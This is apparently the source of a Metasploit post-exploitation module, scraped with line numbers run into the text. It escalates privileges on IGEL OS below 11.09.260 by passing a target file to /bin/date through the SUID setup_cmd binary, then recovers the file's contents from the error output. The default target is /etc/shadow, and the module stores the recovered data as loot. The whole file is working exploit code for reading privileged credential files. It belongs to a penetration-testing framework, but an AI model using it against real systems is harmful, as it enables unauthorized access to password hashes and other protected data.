Path: blob/master/modules/post/linux/gather/igel_dump_file.rb
27907 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'IGEL OS Dump File',13'Description' => %q{14Dump a file with escalated privileges for IGEL OS Workspace Edition sessions,15by elevating rights with setup_cmd (SUID) and outputting with date.16},17'Author' => 'Zack Didcott',18'License' => MSF_LICENSE,19'Platform' => ['linux'],20'SessionTypes' => ['shell', 'meterpreter'],21'DisclosureDate' => '2024-03-07', # Patch release date22'Notes' => {23'Stability' => [CRASH_SAFE],24'Reliability' => [REPEATABLE_SESSION],25'SideEffects' => []26}27)28)2930register_options([31OptString.new('RPATH', [true, 'File on the target to dump', '/etc/shadow'])32])33end3435def check36version = Rex::Version.new(37read_file('/etc/system-release').delete_prefix('IGEL OS').strip38)39unless version < Rex::Version.new('11.09.260')40return Exploit::CheckCode::Safe("IGEL OS #{version} is not vulnerable")41end4243unless file?('/etc/setupd-usercommands.json')44return Exploit::CheckCode::Appears("IGEL OS #{version} appears to be vulnerable")45end4647Exploit::CheckCode::Appears("IGEL OS #{version} should be vulnerable")48end4950def run51unless [52Exploit::CheckCode::Detected,53Exploit::CheckCode::Appears,54Exploit::CheckCode::Vulnerable55].include?(check)56fail_with(Failure::NotVulnerable, 'Target is not vulnerable')57end5859print_status('Executing command on target')60output = create_process('/config/bin/setup_cmd', args: ['/bin/date', '-f', datastore['RPATH']])6162print_status('Command completed:')63data = []64output.lines[1..].each do |line|65line = line.strip.delete_prefix(66'/bin/date: invalid date ‘'67).delete_suffix('’')68data << line69print_line(line)70end7172fname = File.basename(datastore['RPATH'].downcase)73loot = store_loot("igel.#{fname}", 'text/plain', session, data.join("\n"), datastore['RPATH'])74print_status("#{datastore['RPATH']} stored in #{loot}")75end76end777879